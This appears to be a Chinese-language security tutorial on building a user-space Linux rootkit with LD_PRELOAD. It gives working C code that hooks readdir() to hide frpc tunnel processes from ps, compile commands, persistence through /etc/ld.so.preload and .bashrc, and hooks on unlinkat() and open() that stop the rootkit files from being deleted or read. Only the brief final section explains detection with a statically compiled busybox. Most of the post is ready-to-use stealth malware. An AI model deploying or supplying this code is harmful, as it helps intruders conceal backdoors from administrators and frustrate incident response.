0x00 前言

在Linux中,要隐藏指定的文件或进程,常用的技术手段是使用Rootkit。Rootkit可以通过两种方式实现:一种是在内核层面,通过加载内核驱动模块;另一种是在用户层面,通过注入共享动态库。具体到后者,它通过LD_PRELOAD机制预加载一个自定义的共享库,这样当应用程序尝试调用某些标准库函数时,系统会优先使用预加载的共享库中的同名函数,从而实现对原始函数的劫持。通过这种劫持机制,可以操控系统行为,以隐藏特定的文件或进程。

0x01 原理

我们可以通过ldd来查看某个程序运行时加载的动态库:

ldd查看动态库.jpg

1.动态链接器(Dynamic Linker):当一个程序启动时,动态链接器负责加载程序所需的所有动态库,并解析程序中未定义的符号(如函数和变量)到这些库中定义的符号。
2.环境变量LD_PRELOAD:在Linux系统中,LD_PRELOAD环境变量用于指定在程序启动时优先加载的共享库列表。如果在这个列表中指定了一个自定义的SO库,那么这个库将在程序的其他动态库之前被加载。
3.符号解析(Symbol Resolution):当动态链接器加载库时,它会按照一定的顺序解析符号。如果在LD_PRELOAD指定的库中找到了程序未定义的符号,那么这个符号将被绑定到该库中的实现。
4.函数劫持(Function Interception):通过创建一个包含与被劫持函数同名的函数的SO库,并使用LD_PRELOAD来确保这个库被优先加载,可以实现对原始函数的劫持。当程序尝试调用原始函数时,实际上会调用预加载库中的函数。

预加载动态库劫持函数.jpg

通过使用strace来跟踪ps aux的执行过程,我们可以看到ps会执行read系统调用,逐一读取/proc路径下的相关文件,以获取相应的进程信息。然后,它会执行write系统调用,将这些信息输出到屏幕上:

查看系统调用.jpg

/proc主要用于内核与用户空间的交互,包含了大量的目录,每个目录名作为进程的pid,目录下的文件保存着这个进程的各种信息,例如:
/proc/[pid]/status文件包含了进程的状态信息
/proc/[pid]/cmdline文件包含了进程的命令行参数信息
/proc/[pid]/stat文件包含了进程的详细状态信息

而在一系列read和write前,ps会执行getdents64系统调用,获取读取到的目录:

getdents64系统调用.jpg

实际上,getdents64 是一个系统调用,它不直接对应于 C 标准库中的函数。在用户空间,通常使用 readdir 或 readdir_r 这样的库函数来读取目录内容,这些函数内部会使用 getdents64(或者 getdents,取决于系统和文件系统的类型)来实现目录项的读取。

readdir()是C语言libc库中提供的用于读取目录内容的函数的一个函数,在Linux中用于读取某个目录下的内容,它返回的值如下:

  • d_ino:文件的 inode 号。
  • d_off:目录文件中到下一个 dirent 结构的偏移。
  • d_reclen:当前 dirent 结构的长度。
  • d_type:文件类型。这个字段不是所有的文件系统都支持,可能需要通过其他方式来确定文件类型。
  • d_name:文件名,以 null 结尾的字符串。

所以,我们可以劫持原本的readdir(),先一步获取返回结果,通过当前进程的/proc/[pid]/cmdline内容,判断是否需要将这个进程的显示过滤掉。

例如下列c代码定义了新的readdir()函数,屏蔽系统中正在运行的frpc进程

#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

// 定义原始的 readdir 函数指针
static struct dirent *(*original_readdir)(DIR *dirp) = NULL;

// 新的 readdir 函数实现
struct dirent *readdir(DIR *dirp) {
    struct dirent *entry;

    // 获取原始的 readdir 函数指针
    if (!original_readdir) {
        original_readdir = dlsym(RTLD_NEXT, "readdir");
        if (original_readdir == NULL) {
            fprintf(stderr, "Error in `dlsym`: %s\n", dlerror());
            return NULL;
        }
    }

    // 调用原始的 readdir 函数
    while ((entry = original_readdir(dirp)) != NULL) {
        // 检查目录项是否代表一个进程 ID
        if (entry->d_type == DT_DIR) {
            char *endptr;
            long pid = strtol(entry->d_name, &endptr, 10);
            // 如果目录名转换为数字且没有剩余的字符,则它是一个进程 ID
            if (endptr != entry->d_name && *endptr == '\0') {
                // 这里添加逻辑来判断是否需要隐藏这个进程
                // 检查进程的命令行或其他属性
                char path[256], cmdline[256];
                FILE *file;

                sprintf(path, "/proc/%ld/cmdline", pid);
                if ((file = fopen(path, "r")) != NULL) {
                    fgets(cmdline, sizeof(cmdline), file);
                    fclose(file);

                    // 如果进程名包含 "frpc",则继续读取下一个目录项
                    if (strstr(cmdline, "frpc") != NULL) {
                        continue;
                    }
                }
            }
        }
        // 如果不是要隐藏的进程,就返回这个目录项
        return entry;
    }

    // 如果没有更多的目录项或者所有的目录项都被过滤掉了,返回 NULL
    return NULL;
}

将上述代码编译为动态库hide_frp.so:

gcc -shared -fPIC hide_frp.c -o hide_frp.so -ldl

-shared: 生成的是共享库文件
-fPIC: 生成位置无关代码,使其可以在内容中任意位置执行,创建共享动态库的必要条件
-ldl: 链接动态链接库,提供运行时动态加载和调用共享库的功能

在目标主机上,通过修改环境变量的方式来加载hide_frp.so,劫持原本的readdir函数,实现从ps命令的执行结果中隐藏掉frp进程。

加载动态库后,frpc进程被隐藏:

隐藏frp进程.jpg

0x02 持久化

此时的隐藏只适用于当前shell会话及其派生的子环境,因为我们修改的环境变量只会在当前shell生效,其他用户登录后,并不会加载hide_frp.so,也并不会实现隐藏进程。为了使每个登录的用户都去加载hide_frp.so,我们可以修改一些配置文件,例如.bashrc、.bash_profile,或者修改/etc/ld.so.preload等动态链接库配置文件。

/etc/ld.so.preload文件是 Linux 中的一个动态链接器配置文件。它的主要作用是保存程序运行之前需要预先加载的库。当一个程序启动时,动态链接器会查看/etc/ld.so.preload,然后加载文件中列出的所有库。

动态库被加载的过程:

动态库加载过程.jpg

在/etc/ld.so.preload中写入需要预加载的so库后,登录新的shell环境,也无法查看到frp进程:

持久化隐藏frp进程.jpg

现在进程虽然已经隐藏了,但是有一定经验的溯源人员还是会查看/etc/ld.so.preload,所以还需要一些手法对/etc/ld.so.preload和hide_frp.so文件进行进一步隐藏,使其通过常规的cat、ls、rm等命令无法发现。

例如,通过strace追踪rm命令执行过程可以发现,rm命令实际调用的是unlinkat()去执行删除文件的操作:

rm命令的系统调用.jpg

因此,我们可以尝试劫持unlinkat(),使rm无法删除hide_frp.so:

int unlinkat(int dirfd, const char *pathname, int flags) {
    static int (*real_unlinkat)(int, const char *, int) = NULL;
    if (!real_unlinkat) {
        real_unlinkat = dlsym(RTLD_NEXT, "unlinkat");
    }

    if (strstr(pathname, "hide_frp.so") || strstr(pathname, "ld.so.preload")) {
        errno = ENOENT; //返回文件不存在
        return -1;
    }
    return real_unlinkat(dirfd, pathname, flags);
}

实现效果:

劫持unlinkat().jpg

通过劫持系统函数open(),避免cat、vi等命令直接查看到文件的内容:

int open(const char *pathname, int flags, mode_t mode) {
    static int (*real_open)(const char *, int, mode_t) = NULL;
    if (!real_open) {
        real_open = dlsym(RTLD_NEXT, "open");
    }
    if (strstr(pathname, "hide_frp.so") || strstr(pathname, "ld.so.preload")) {
        errno = ENOENT;
        return -1;
    }
    return real_open(pathname, flags, mode);
}

实现效果:

劫持open().jpg

逐步优化hide_frp.so,可以实现更加完美的隐藏,不过,这种方式只适用于动态编译的二进制,对于静态编译的程序,运行时并不会加载动态库,这种方式也无法生效了,所以,我们可以利用替换静态编译的二进制来进行溯源。

0x03 溯源

例如,下载静态编译的busybox,查看/etc/ld.so.preload,并将hide_frp.so删除,删除后,系统会因为无法加载hide_frp.so产生报错:

通过静态编译程序溯源.jpg

frp进程随之暴露:

frp进程暴露.jpg